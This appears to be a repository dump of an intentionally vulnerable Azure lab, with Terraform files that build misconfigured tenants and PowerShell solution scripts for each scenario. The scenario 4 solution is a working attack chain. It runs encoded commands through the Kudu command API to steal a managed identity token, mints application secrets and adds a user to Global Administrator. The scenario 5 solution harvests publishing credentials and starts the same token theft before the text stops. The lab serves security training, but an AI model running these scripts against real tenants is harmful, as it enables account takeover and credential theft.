15 | $body = "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response."
16 |
17 | if ($name) {
18 | $body = "Hello, $name. This HTTP triggered function executed successfully."
19 | }
20 |
21 | # Associate values to output bindings by calling 'Push-OutputBinding'.
22 | Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{
23 | StatusCode = [HttpStatusCode]::OK
24 | Body = $body
25 | })
26 |
--------------------------------------------------------------------------------
/scenarios/scenario_4/README.md:
--------------------------------------------------------------------------------
1 | # Tenant Take-Over
2 | Attack flow:
3 |
4 | 
5 |
6 | The solution can be found [here](./solution.md).
7 |
--------------------------------------------------------------------------------
/scenarios/scenario_4/main.tf:
--------------------------------------------------------------------------------
1 | #############################################################################
2 | # VARIABLES
3 | #############################################################################
4 | variable "user_name" {
5 | type = string
6 | default = "us4"
7 | }
8 |
9 | variable "resource_group" {
10 | type = string
11 | description = "Existing resource group to deploy resources"
12 | default = "sc4"
13 | }
14 |
15 | variable "domain" {
16 | type = string
17 | description = "Domain name (for example: contoso.onmicrosoft.com)"
18 | default = "xmazuretestgmail.onmicrosoft.com"
19 | }
20 |
21 | variable "user_password" {
22 | type = string
23 | default = "Hahahaha147222343!"
24 | }
25 |
26 | variable "user_assigned_identity_name" {
27 | type = string
28 | default = "id4"
29 | }
30 |
31 | #############################################################################
32 | # DATA
33 | #############################################################################
34 | data "azurerm_client_config" "current" {}
35 |
36 | data "azurerm_subscription" "current" {}
37 |
38 | data "azurerm_resource_group" "current" {
39 | name = var.resource_group
40 | }
41 |
42 | data "azuread_application_published_app_ids" "well_known" {}
43 |
44 |
45 | #############################################################################
46 | # PROVIDERS
47 | #############################################################################
48 |
49 |
50 |
51 | provider "azurerm" {
52 | features {}
53 | }
54 |
55 | provider "azuread" {
56 | }
57 |
58 |
59 | #############################################################################
60 | # RESOURCES
61 | #############################################################################
62 |
63 | ## AZURE AD USER ##
64 |
65 | resource "azuread_user" "user" {
66 | user_principal_name = "${var.user_name}@${var.domain}"
67 | display_name = var.user_name
68 | password = var.user_password
69 | }
70 |
71 | resource "azuread_service_principal" "msgraph" {
72 | application_id = data.azuread_application_published_app_ids.well_known.result.MicrosoftGraph
73 | use_existing = true
74 | }
75 |
76 | resource "azuread_application" "scenario4App" {
77 | display_name = "scenario4App"
78 |
79 | required_resource_access {
80 | resource_app_id = data.azuread_application_published_app_ids.well_known.result.MicrosoftGraph
81 |
82 | resource_access {
83 | id = azuread_service_principal.msgraph.app_role_ids["RoleManagement.ReadWrite.Directory"]
84 | type = "Role"
85 | }
86 |
87 | resource_access {
88 | id = azuread_service_principal.msgraph.oauth2_permission_scope_ids["RoleManagement.ReadWrite.Directory"]
89 | type = "Scope"
90 | }
91 | }
92 | }
93 |
94 |
95 | resource "azuread_service_principal" "scenario4SPN" {
96 | application_id = azuread_application.scenario4App.application_id
97 | }
98 |
99 | ## AZURE APP FUNCTION ##
100 |
101 | resource "azurerm_storage_account" "main" {
102 | name = "xmgoat4"
103 | resource_group_name = data.azurerm_resource_group.current.name
104 | location = data.azurerm_resource_group.current.location
105 | account_tier = "Standard"
106 | account_replication_type = "LRS"
107 | }
108 |
109 | resource "azurerm_storage_container" "main" {
110 | name = "function-releases"
111 | storage_account_name = azurerm_storage_account.main.name
112 | container_access_type = "private"
113 | }
114 |
115 | resource "azurerm_service_plan" "main" {
116 | name = "xmgoat4"
117 | resource_group_name = data.azurerm_resource_group.current.name
118 | location = data.azurerm_resource_group.current.location
119 | os_type = "Windows"
120 | sku_name = "Y1"
121 | }
122 |
123 |
124 | resource "azurerm_user_assigned_identity" "main" {
125 | name = var.user_assigned_identity_name
126 | resource_group_name = data.azurerm_resource_group.current.name
127 | location = data.azurerm_resource_group.current.location
128 | }
129 |
130 | resource "azurerm_windows_function_app" "main" {
131 | name = "sc4-windows-function-app"
132 | resource_group_name = data.azurerm_resource_group.current.name
133 | location = data.azurerm_resource_group.current.location
134 |
135 | storage_account_name = azurerm_storage_account.main.name
136 | storage_account_access_key = azurerm_storage_account.main.primary_access_key
137 | service_plan_id = azurerm_service_plan.main.id
138 |
139 | site_config {}
140 |
141 | identity {
142 | type = "SystemAssigned, UserAssigned"
143 | identity_ids = [azurerm_user_assigned_identity.main.id]
144 | }
145 | }
146 |
147 | ## AZURE ROLE AND ROLE ASSIGNMENT ##
148 |
149 | resource "azurerm_role_definition" "generate-jwt-token-to-scm-1" {
150 | name = "Generate JWT Token to SCM-1"
151 | scope = data.azurerm_subscription.current.id
152 | description = "This role allow to update function code"
153 |
154 | permissions {
155 | actions = ["Microsoft.web/sites/Read", "Microsoft.Web/sites/publish/Action", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read","Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"]
156 | not_actions = []
157 | }
158 |
159 | assignable_scopes = [
160 | data.azurerm_subscription.current.id,
161 | ]
162 | }
163 |
164 | resource "azurerm_role_definition" "custom-identity-reader" {
165 | name = "Custom Identity reader"
166 | scope = data.azurerm_subscription.current.id
167 | description = "This role allow to recon identities"
168 |
169 | permissions {
170 | actions = ["Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"]
171 | not_actions = []
172 | }
173 |
174 | assignable_scopes = [
175 | data.azurerm_subscription.current.id,
176 | ]
177 | }
178 |
179 | resource "azurerm_role_assignment" "generate-jwt-token-to-scm-1" {
180 | scope = azurerm_windows_function_app.main.id
181 | role_definition_id = split("|", azurerm_role_definition.generate-jwt-token-to-scm-1.id)[0]
182 | principal_id = azuread_user.user.id
183 | }
184 |
185 | resource "azurerm_role_assignment" "custom-identity-reader" {
186 | scope = data.azurerm_subscription.current.id
187 | role_definition_id = split("|", azurerm_role_definition.custom-identity-reader.id)[0]
188 | principal_id = azuread_user.user.id
189 | }
190 |
191 | ## Directory Roles
192 | resource "azuread_directory_role" "appAdmin" {
193 | display_name = "Application administrator"
194 | }
195 |
196 | resource "azuread_directory_role_member" "appAdminMembers" {
197 | role_object_id = azuread_directory_role.appAdmin.object_id
198 | member_object_id = azurerm_user_assigned_identity.main.principal_id
199 | }
200 |
201 | resource "azuread_app_role_assignment" "ADRoleManagementRole" {
202 | app_role_id = azuread_service_principal.msgraph.app_role_ids["RoleManagement.ReadWrite.Directory"]
203 | principal_object_id = azuread_service_principal.scenario4SPN.object_id
204 | resource_object_id = azuread_service_principal.msgraph.object_id
205 | }
206 |
207 | ## Output
208 | output "username"{
209 | value = azuread_user.user.user_principal_name
210 | }
211 | output "password" {
212 | value = azuread_user.user.password
213 | sensitive = true
214 | }
215 |
--------------------------------------------------------------------------------
/scenarios/scenario_4/scenario4_flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_4/scenario4_flow.png
--------------------------------------------------------------------------------
/scenarios/scenario_4/solution.md:
--------------------------------------------------------------------------------
1 | This can be executed as a powershell script
2 |
3 | #---------------------------------------------------
4 |
5 |
6 | Disconnect-AzAccount
7 | Disconnect-AzureAD
8 | #-----------------ConnectToAzureUser-----------------------------#
9 | $us4Username = "us4@xmazuretestgmail.onmicrosoft.com"
10 | $us4Password = "Hahahaha147222343!"
11 | $SecurePassword = ConvertTo-SecureString $us4Password -AsPlainText -Force
12 | $Credential = New-Object System.Management.Automation.PSCredential -argumentlist $us4Username, $SecurePassword
13 | Connect-AzureAD –Credential $Credential
14 | Connect-AzAccount -Credential $Credential
15 |
16 | #-------------------------------------------ReconnaissanceUS4----------------------------------------------#
17 |
18 | #----------------Azure-ARM-------------------#
19 | Get-AzRoleAssignment
20 |
21 | $us4RoleAssignment = (Get-AzRoleAssignment).RoleDefinitionId
22 |
23 | (Get-AzRoleDefinition -Id $us4RoleAssignment).Actions
24 |
25 | #----------------ADDirectoryRole-------------------#
26 | $us4ADDirectoryRole = (Get-AzureADDirectoryRole | Where-Object{$_.DisplayName -eq "Global Reader"}).objectID
27 |
28 | #Show that US4 have "Global Reader" permission
29 | Get-AzureADDirectoryRoleMember -ObjectId $us4ADDirectoryRole
30 |
31 | #-------------------------------------------AttackSCM-------------------------------------------------------#
32 |
33 | #----------------ReconForID4-------------------#
34 |
35 | $id4ADDirectoryRole = (Get-AzureADDirectoryRole | Where-Object{$_.DisplayName -eq "Application Administrator"}).objectID
36 |
37 | #Found ID4 have "Application Administrator" permission
38 | Get-AzureADDirectoryRoleMember -ObjectId $id4ADDirectoryRole
39 |
40 | #Get ID4 Client ID
41 |
42 | $id4ClientID = (Get-AzUserAssignedIdentity -Name id4 -ResourceGroupName sc4).ClientId
43 |
44 | $id4ClientID
45 |
46 | #----------------ExecuteCommandKuduGetID4Token-------------------#
47 |
48 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="74eeca0b-fa67-4645-aed9-ab699e4729ef";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://graph.microsoft.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'
49 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))
50 | $us4Token = (Get-AzAccessToken).Token
51 | $method = "POST"
52 | $URI = "https://sc4-windows-function-app.scm.azurewebsites.net:443/api/command"
53 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
54 | $headers.Add("Host", "sc4-windows-function-app.scm.azurewebsites.net")
55 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
56 | $headers.Add("Authorization", "Bearer $($us4Token)")
57 | $contentType = "application/json"
58 | $body = "{
59 | `"command`":`"powershell -EncodedCommand $($Encoded64)`",
60 | `"dir`":`"C:\\home`"
61 | }
62 | "
63 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $body)
64 | $response.Content
65 |
66 | #Token For ID4
67 | $id4Token = (($response.Content).Split('"')[6]).split("\")
68 |
69 | $id4Token
70 | #-------------------------------------------AttackAppRegistrations-------------------------------------------------------#
71 |
72 |
73 | #----------------ReconForscenario4App-------------------#
74 |
75 | $appObjectID = (Get-AzureADApplication -SearchString scenario4App).ObjectID
76 | $app = Get-AzureADApplication -ObjectId $appObjectID
77 | $app.requiredResourceAccess | ConvertTo-Json -Depth 3
78 |
79 | $scenario4Role = (((($app.requiredResourceAccess | ConvertTo-Json -Depth 3).split("Id:")[7]).split(",")[0]).trim()).split('"')[1]
80 |
81 | #Show scenario4app have "RoleManagement.ReadWrite.Directory"
82 |
83 | $scenario4SP = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq '00000003-0000-0000-c000-000000000000'}
84 | $scenario4SP.AppRoles | Where-Object {$_.Id -eq $($scenario4Role)}
85 |
86 | #Get All the requirement data for The RestAPI
87 |
88 | $scenario4AppID = (Get-AzureADApplication -SearchString scenario4App).AppId
89 | $scenario4ObjectID = (Get-AzureADApplication -SearchString scenario4App).objectid
90 | $us4ObjectID = (Get-AzureADUser -SearchString us4).ObjectID
91 |
92 | #----------------AddUS4OwnerOnscenario4App-------------------#
93 |
94 | $method = "POST"
95 | $URI = "https://graph.microsoft.com:443/v1.0//applications/$($scenario4ObjectID)/owners/`$ref"
96 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
97 | $headers.Add("Host", "graph.microsoft.com")
98 | $headers.Add("Accept", "text/html,application/xhtml+xml")
99 | $headers.Add("Authorization", "Bearer $($id4Token)")
100 | $contentType = "application/json"
101 | $body = "{
102 | `"@odata.id`":`"https://graph.microsoft.com/v1.0/directoryObjects/$($us4ObjectID)`"
103 | }
104 | "
105 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -WebSession $webSession -Body $body)
106 |
107 | if($response.StatusCode -eq 200 -or $response.StatusCode -eq 204){
108 | Write-Host "[+] The user us4 is scenario4App application owner!!"
109 | Start-Sleep -s 10
110 | }
111 |
112 | Start-Sleep -s 10
113 | #POC
114 | $scenario4ObjectID = (Get-AzureADApplication -SearchString scenario4App).objectID
115 | Get-AzureADApplicationOwner -ObjectId $scenario4ObjectID
116 |
117 | #-------------------------------------------GetTheGlobalAdministrator-------------------------------------------------------#
118 |
119 | #Use the new permission of us4 as owner
120 |
121 | Try
122 | {
123 | Start-Sleep -s 10
124 | $AppPassword = New-AzureADApplicationPasswordCredential -ObjectID $scenario4ObjectID
125 | }
126 | Catch
127 | {
128 | exit
129 | }
130 |
131 | $TenantID = (Get-AzSubscription).TenantId
132 | Disconnect-AzAccount
133 | Start-Sleep -s 10
134 | $scenario4Token = $null
135 |
136 |
137 | #----------------ConnectToServicePrincpal-------------------#
138 | $AzureApplicationID = $scenario4AppID
139 | $AzureTenantID = $TenantID
140 | $AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force
141 | $psCred = New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword)
142 | Try
143 | {
144 | Start-Sleep -s 10
145 | Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal
146 | }
147 | Catch
148 | {
149 | exit
150 | }
151 |
152 | $GlobalAdministratorObjectID = (Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}).ObjectId
153 |
154 | #Get SP Token
155 | $APSUser = Get-AzContext *>&1
156 | $resource = "https://graph.microsoft.com"
157 | $scenario4Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
158 | $APSUser.Account, `
159 | $APSUser.Environment, `
160 | $APSUser.Tenant.Id.ToString(), `
161 | $null, `
162 | [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
163 | $null, `
164 | $resource).AccessToken
165 |
166 | #----------------AddUS4TOGlobalAdministrators-------------------#
167 |
168 | $method = "POST"
169 | $URI = "https://graph.microsoft.com:443/v1.0/directoryRoles/$($GlobalAdministratorObjectID)/members/`$ref"
170 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
171 | $headers.Add("Host", "graph.microsoft.com")
172 | $headers.Add("Accept", "text/html,application/xhtml+xml")
173 | $headers.Add("Authorization", "Bearer $($scenario4Token)")
174 | $contentType = "application/json"
175 | $body = "{
176 | `"@odata.id`":`"https://graph.microsoft.com/v1.0/directoryObjects/$($us4ObjectID)`"
177 | }
178 | "
179 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -WebSession $webSession -Body $body)
180 |
181 | if($response.StatusCode -eq 200 -or $response.StatusCode -eq 204){
182 | Write-Host "[+] US4 Is Global Administrator Now"
183 | Get-AzureADDirectoryRoleMember -ObjectID $GlobalAdministratorObjectID | Where-Object {$_.DisplayName -eq "us4"}
184 | }
185 |
186 | Write-Host "[+]Done!!"
187 |
--------------------------------------------------------------------------------
/scenarios/scenario_5/README.md:
--------------------------------------------------------------------------------
1 | # Tenant Take-Over
2 | Attack flow:
3 |
4 | 
5 |
6 | The solution can be found [here](./solution.md).
7 |
--------------------------------------------------------------------------------
/scenarios/scenario_5/SensitiveData.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_5/SensitiveData.zip
--------------------------------------------------------------------------------
/scenarios/scenario_5/main.tf:
--------------------------------------------------------------------------------
1 | #############################################################################
2 | # VARIABLES
3 | #############################################################################
4 | variable "user_name" {
5 | type = string
6 | default = "us5"
7 | }
8 |
9 | variable "resource_group" {
10 | type = string
11 | description = "Existing resource group to deploy resources"
12 | default = "sc5"
13 | }
14 |
15 | variable "key_vault_name" {
16 | type = string
17 | description = "key vault name"
18 | default = "kv5zur555"
19 | }
20 |
21 | variable "domain" {
22 | type = string
23 | description = "Domain name (for example: contoso.onmicrosoft.com)"
24 | default = "xmazuretestgmail.onmicrosoft.com"
25 | }
26 |
27 | variable "user_password" {
28 | type = string
29 | default = "Hahahaha147222343!"
30 | }
31 |
32 | variable "user_assigned_identity_name" {
33 | type = string
34 | default = "id5"
35 | }
36 |
37 | #############################################################################
38 | # DATA
39 | #############################################################################
40 | data "azurerm_client_config" "current" {}
41 |
42 | data "azurerm_subscription" "current" {}
43 |
44 | data "azurerm_resource_group" "current" {
45 | name = var.resource_group
46 | }
47 |
48 |
49 | #############################################################################
50 | # PROVIDERS
51 | #############################################################################
52 |
53 | provider "azurerm" {
54 | features {}
55 | }
56 |
57 | provider "azuread" {
58 | }
59 |
60 |
61 | #############################################################################
62 | # RESOURCES
63 | #############################################################################
64 |
65 | ## AZURE AD USER ##
66 |
67 | resource "azuread_user" "user" {
68 | user_principal_name = "${var.user_name}@${var.domain}"
69 | display_name = var.user_name
70 | password = var.user_password
71 | }
72 |
73 | resource "azuread_application" "scenario5App" {
74 | display_name = "scenario5App"
75 | owners = [azuread_user.user.object_id]
76 | }
77 |
78 | resource "azuread_service_principal" "scenario5SPN" {
79 | application_id = azuread_application.scenario5App.application_id
80 | owners = [azuread_user.user.object_id]
81 | }
82 |
83 | ## AZURE APP FUNCTION ##
84 |
85 | resource "azurerm_storage_account" "sensitiveSA" {
86 | name = "xmgoat5"
87 | resource_group_name = data.azurerm_resource_group.current.name
88 | location = data.azurerm_resource_group.current.location
89 | account_tier = "Standard"
90 | account_replication_type = "LRS"
91 | }
92 |
93 | resource "azurerm_storage_container" "sensitiveCont" {
94 | name = "sensitive-data"
95 | storage_account_name = azurerm_storage_account.sensitiveSA.name
96 | container_access_type = "blob"
97 | }
98 |
99 | resource "azurerm_storage_blob" "sensitiveZIP" {
100 | name = "SensitiveData.zip"
101 | storage_account_name = azurerm_storage_account.sensitiveSA.name
102 | storage_container_name = azurerm_storage_container.sensitiveCont.name
103 | type = "Block"
104 | source = "./SensitiveData.zip"
105 | }
106 |
107 | resource "azurerm_service_plan" "main" {
108 | name = "xmgoat5"
109 | resource_group_name = data.azurerm_resource_group.current.name
110 | location = data.azurerm_resource_group.current.location
111 | os_type = "Windows"
112 | sku_name = "Y1"
113 | }
114 |
115 |
116 | resource "azurerm_user_assigned_identity" "app-identity" {
117 | name = var.user_assigned_identity_name
118 | resource_group_name = data.azurerm_resource_group.current.name
119 | location = data.azurerm_resource_group.current.location
120 | }
121 |
122 | resource "azurerm_windows_function_app" "main" {
123 | name = "sc5-windows-function-app"
124 | resource_group_name = data.azurerm_resource_group.current.name
125 | location = data.azurerm_resource_group.current.location
126 |
127 | storage_account_name = azurerm_storage_account.sensitiveSA.name
128 | storage_account_access_key = azurerm_storage_account.sensitiveSA.primary_access_key
129 | service_plan_id = azurerm_service_plan.main.id
130 |
131 | site_config {}
132 |
133 | identity {
134 | type = "SystemAssigned, UserAssigned"
135 | identity_ids = [azurerm_user_assigned_identity.app-identity.id]
136 | }
137 | }
138 |
139 | resource "azurerm_key_vault" "secrets-key-vault" {
140 | name = var.key_vault_name
141 | location = data.azurerm_resource_group.current.location
142 | resource_group_name = data.azurerm_resource_group.current.name
143 | enabled_for_disk_encryption = true
144 | tenant_id = data.azurerm_client_config.current.tenant_id
145 | purge_protection_enabled = false
146 | sku_name = "standard"
147 |
148 | access_policy {
149 | tenant_id = data.azurerm_client_config.current.tenant_id
150 | object_id = data.azurerm_client_config.current.object_id
151 | key_permissions = [
152 | "Get",
153 | ]
154 | secret_permissions = [
155 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set",
156 | ]
157 | storage_permissions = [
158 | "Get",
159 | ]
160 | }
161 |
162 | access_policy {
163 | tenant_id = data.azurerm_client_config.current.tenant_id
164 | object_id = azurerm_user_assigned_identity.app-identity.principal_id
165 | key_permissions = [
166 | "Get",
167 | ]
168 | secret_permissions = [
169 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set",
170 | ]
171 | storage_permissions = [
172 | "Get",
173 | ]
174 | }
175 | }
176 |
177 | resource "azurerm_key_vault_secret" "secret" {
178 | name = "ZIP-Password"
179 | value = "Hahahaha147222343!"
180 | key_vault_id = azurerm_key_vault.secrets-key-vault.id
181 | depends_on = [azurerm_key_vault.secrets-key-vault]
182 | }
183 |
184 | ## AZURE ROLE AND ROLE ASSIGNMENT ##
185 |
186 | resource "azurerm_role_definition" "public-xml-scm-service-1" {
187 | name = "Publish XML SCM service-1"
188 | scope = data.azurerm_subscription.current.id
189 | description = "This role allow to update function code"
190 |
191 | permissions {
192 | actions = ["microsoft.web/publishingusers/write", "Microsoft.Web/sites/publishxml/Action", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/Write", "Microsoft.Web/sites/publish/Action", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read", "Microsoft.Web/sites/Read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"]
193 | not_actions = []
194 | }
195 |
196 | assignable_scopes = [
197 | data.azurerm_subscription.current.id,
198 | ]
199 | }
200 |
201 | resource "azurerm_role_definition" "custom-identity-reader-sc5-11" {
202 | name = "Custom Identity reader sc5-11"
203 | scope = data.azurerm_subscription.current.id
204 | description = "This role allow to recon identities"
205 |
206 | permissions {
207 | actions = ["Microsoft.ManagedIdentity/identities/read", "Microsoft.ManagedIdentity/userAssignedIdentities/read"]
208 | not_actions = []
209 | }
210 |
211 | assignable_scopes = [
212 | data.azurerm_subscription.current.id,
213 | ]
214 | }
215 |
216 | resource "azurerm_role_definition" "encrypt-decrypt-storage-account-role-111" {
217 | name = "Encrypt and Decrypt storage account role-111"
218 | scope = data.azurerm_subscription.current.id
219 | description = "This role allow to update function code"
220 |
221 | permissions {
222 | actions = ["Microsoft.Storage/storageAccounts/read", "Microsoft.Storage/storageAccounts/blobServices/containers/read", "Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleDefinitions/read", "Microsoft.Storage/storageAccounts/listAccountSas/action"]
223 | data_actions = ["Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"]
224 | not_actions = []
225 | }
226 |
227 | assignable_scopes = [
228 | data.azurerm_subscription.current.id,
229 | ]
230 | }
231 |
232 | resource "azurerm_role_assignment" "public-xml-scm-service-assignment" {
233 | scope = azurerm_windows_function_app.main.id
234 | role_definition_id = split("|", azurerm_role_definition.public-xml-scm-service-1.id)[0]
235 | principal_id = azuread_service_principal.scenario5SPN.id
236 | }
237 |
238 | resource "azurerm_role_assignment" "custom-identity-reader-sc5" {
239 | scope = data.azurerm_subscription.current.id
240 | role_definition_id = split("|", azurerm_role_definition.custom-identity-reader-sc5-11.id)[0]
241 | principal_id = azuread_service_principal.scenario5SPN.id
242 | }
243 |
244 | resource "azurerm_role_assignment" "encrypt-decrypt-storage-account-assignment" {
245 | scope = azurerm_storage_account.sensitiveSA.id
246 | role_definition_id = split("|", azurerm_role_definition.encrypt-decrypt-storage-account-role-111.id)[0]
247 | principal_id = azurerm_user_assigned_identity.app-identity.principal_id
248 | }
249 |
250 |
251 | ## Output
252 | output "username"{
253 | value = azuread_user.user.user_principal_name
254 | }
255 | output "password" {
256 | value = azuread_user.user.password
257 | sensitive = true
258 | }
259 |
--------------------------------------------------------------------------------
/scenarios/scenario_5/scenario5_flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_5/scenario5_flow.png
--------------------------------------------------------------------------------
/scenarios/scenario_5/solution.md:
--------------------------------------------------------------------------------
1 | This can be executed as a powershell script
2 |
3 | #---------------------------------------------------
4 |
5 | Disconnect-AzAccount
6 | #------------------------------------------ConnectToAzureUser----------------------------------------------#
7 | $us5Username = "us5@xmazuretestgmail.onmicrosoft.com"
8 | $us5Password = "Hahahaha147222343!"
9 | $SecurePassword = ConvertTo-SecureString $us5Password -AsPlainText -Force
10 | $Credential = New-Object System.Management.Automation.PSCredential -argumentlist $us5Username, $SecurePassword
11 | Connect-AzureAD –Credential $Credential
12 | #----------------Whoami-------------------#
13 | ((Get-AzContext).Account).ID
14 |
15 | #-------------------------------------------ReconnaissanceUS5----------------------------------------------#
16 |
17 | #------------CheckIfUS5ApplicationOwner------------#
18 |
19 | $arrAppObjectId = @((Get-AzureADApplication).ObjectId)
20 | foreach($objectId in $arrAppObjectId){Get-AzureADApplicationOwner -ObjectId $objectId | Where-Object{$_.DisplayName -eq "us5"}}
21 |
22 | #-------------------------------------------ReconnaissanceScenario5App----------------------------------------------#
23 | $scenario5ObjectID = (Get-AzureADApplication -SearchString scenarioapp6).ObjectId
24 | $scenario5AppID = (Get-AzureADApplication -SearchString scenarioapp6).AppId
25 |
26 |
27 | $appObjectID = (Get-AzureADApplication -SearchString scenarioapp6).ObjectID
28 | $app = Get-AzureADApplication -ObjectId $appObjectID
29 | $app.requiredResourceAccess | ConvertTo-Json -Depth 3
30 |
31 | $scenario5Role = (($app.requiredResourceAccess | ConvertTo-Json -Depth 3).split(":")[3].split('"')[1]).trim()
32 |
33 | $scenario5SP = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq '00000003-0000-0000-c000-000000000000'}
34 | $scenario5SP.AppRoles | Where-Object {$_.Id -eq $scenario5Role}
35 |
36 | #---------------------------------UseOwnerPrivilegeToConnectServicePrincapl--------------------------------#
37 | Try{
38 | $AppPassword = New-AzureADApplicationPasswordCredential -ObjectID $scenario5ObjectID
39 | Start-Sleep -s 5
40 | }
41 | catch{
42 | exit
43 | }
44 | Start-Sleep -s 20
45 | $TenantID = (Get-AzureADTenantDetail).ObjectId
46 |
47 | Write-Host "[+] Disconnect FROM AZURE"
48 | Disconnect-AzAccount
49 | $scenario5Token = $null
50 |
51 |
52 | #----------------ConnectToServicePrincpal-------------------#
53 |
54 | $AzureApplicationID =$scenario5AppID
55 | $AzureTenantID = $TenantID
56 | $AzurePassword = ConvertTo-SecureString $AppPassword.value -AsPlainText -Force
57 | $psCred = (New-Object System.Management.Automation.PSCredential($AzureApplicationID, $AzurePassword))
58 | Start-Sleep -s 20
59 | Write-Host "[+] Connect To Service Principal"
60 |
61 | Try{
62 |
63 | Connect-AzAccount -Credential $psCred -TenantID $AzureTenantID -ServicePrincipal
64 | }
65 | Catch{
66 | Write-output "Could not connect to Azure"
67 | exit
68 | }
69 |
70 | #Get SP Token
71 | Start-Sleep -s 20
72 | $APSUser = Get-AzContext *>&1
73 | $resource = "https://management.azure.com"
74 | $scenario5Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate(`
75 | $APSUser.Account, `
76 | $APSUser.Environment, `
77 | $APSUser.Tenant.Id.ToString(), `
78 | $null, `
79 | [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, `
80 | $null, `
81 | $resource).AccessToken
82 |
83 | $arr = @("SubscriptionId","ResourceGroupName","Name")
84 | $uriParam = [System.Collections.ArrayList]::new()
85 | foreach($param in $arr){$uriParam.add(((Get-AzFunctionApp)|Where-Object{$_.Name -cmatch "sc5"}).$($param))}
86 |
87 |
88 | #-------------------------------------------PublishNewUsertoSCM----------------------------------------------#
89 |
90 | #Microsoft.Web/sites/publishxml/Action
91 | $method = "POST"
92 | $URI = "https://management.azure.com:443/subscriptions/$($uriParam[0])/resourceGroups/$($uriParam[1])/providers/Microsoft.Web/sites/$($uriParam[2])/publishxml?api-version=2022-03-01"
93 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
94 | $headers.Add("Host", "management.azure.com")
95 | $headers.Add("Accept", "text/html,application/xhtml+xml")
96 | $headers.Add("Authorization", "Bearer $($scenario5Token)")
97 | $contentType = [System.String]::new("application/x-www-form-urlencoded")
98 | $response = (Invoke-WebRequest -Method $method -Uri $URI -Headers $headers -ContentType $contentType -UserAgent $userAgent -Body $URIParams)
99 | $userSCM = ($response.Content).split('"')[9]
100 | $passwordSCM = ($response.Content).split('"')[11]
101 |
102 | Write-Host "[+] UserName : $($userSCM)"
103 | Write-Host "[+] Password : $($passwordSCM)"
104 |
105 |
106 |
107 | #----------------ReconForID5-------------------#
108 |
109 | #Get ID5 Client ID
110 | $id5ClientID = (Get-AzUserAssignedIdentity -Name id5 -ResourceGroupName sc5).ClientId
111 |
112 | #---------------------------------ExecuteCommandKuduGetID5Token----------------------------------------------#
113 |
114 | $base64AuthInfo = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes(("{0}:{1}" -f $userSCM,$passwordSCM)))
115 | $GeTokenPayload = '$headers=@{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER};$ClientId ="0de890fb-8bd4-42f3-9de7-5b236df07468";$ProgressPreference = "SilentlyContinue";$response = Invoke-WebRequest -UseBasicParsing -Uri "$($env:IDENTITY_ENDPOINT)?resource=https://management.azure.com&client_id=$ClientId&api-version=2019-08-01" -Headers $headers;$response.RawContent'
116 | $Encoded64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($GeTokenPayload))
117 | $method = "POST"
118 | $URI = "https://sc5-windows-function-app.scm.azurewebsites.net:443/api/command"
119 | $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
120 | $headers.Add("Host", "sc5-windows-function-app.scm.azurewebsites.net")
121 | $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
122 | $headers.Add("Authorization", "Basic $($base64AuthInfo)")
123 | $contentType = "application/json"
124 | $body = "{
125 | `"command`":`"powershell -EncodedCommand $($Encoded64)`",
126 | `"dir`":`"C:\\home`"
127 | }
128 | "
